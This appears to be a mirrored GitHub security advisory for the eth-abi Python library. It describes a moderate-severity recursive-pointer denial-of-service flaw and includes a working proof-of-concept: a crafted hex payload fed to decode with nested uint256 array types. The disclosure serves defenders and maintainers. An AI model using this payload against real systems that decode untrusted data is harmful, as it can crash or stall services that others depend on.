Ecosyste.ms: Advisories

Security Advisories: GSA_kwCzR0hTQS0zcXdjLTQ3amYtNXJmN84AA5xT

eth-abi is vulnerable to recursive DoS

This is related to recent ZST stuff (https://github.com/ethereum/eth-abi/security/advisories/GHSA-rqr8-pxh7-cq3g), but it's a different one. Basically a recursive pointer issue

from eth_abi import decode


payload = "0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020"

# OverflowError: Python int too large to convert to C ssize_t
#decode(['(uint256[][][][][][][][][][])'], bytearray.fromhex(payload))

decode(['uint256[][][][][][][][][][]'], bytearray.fromhex(payload+('00' * 1024)))

Permalink: https://github.com/advisories/GHSA-3qwc-47jf-5rf7
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zcXdjLTQ3amYtNXJmN84AA5xT
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Moderate
Classification: General
Published: about 2 months ago
Updated: about 2 months ago

Identifiers: GHSA-3qwc-47jf-5rf7
References:

• https://github.com/ethereum/eth-abi/security/advisories/GHSA-3qwc-47jf-5rf7
• https://github.com/ethereum/eth-abi/commit/82c1ad37a866472562d81fedaef0f4fed0a08269
• https://github.com/advisories/GHSA-3qwc-47jf-5rf7

Repository: https://github.com/ethereum/eth-abi
Blast Radius: 0.0

Affected Packages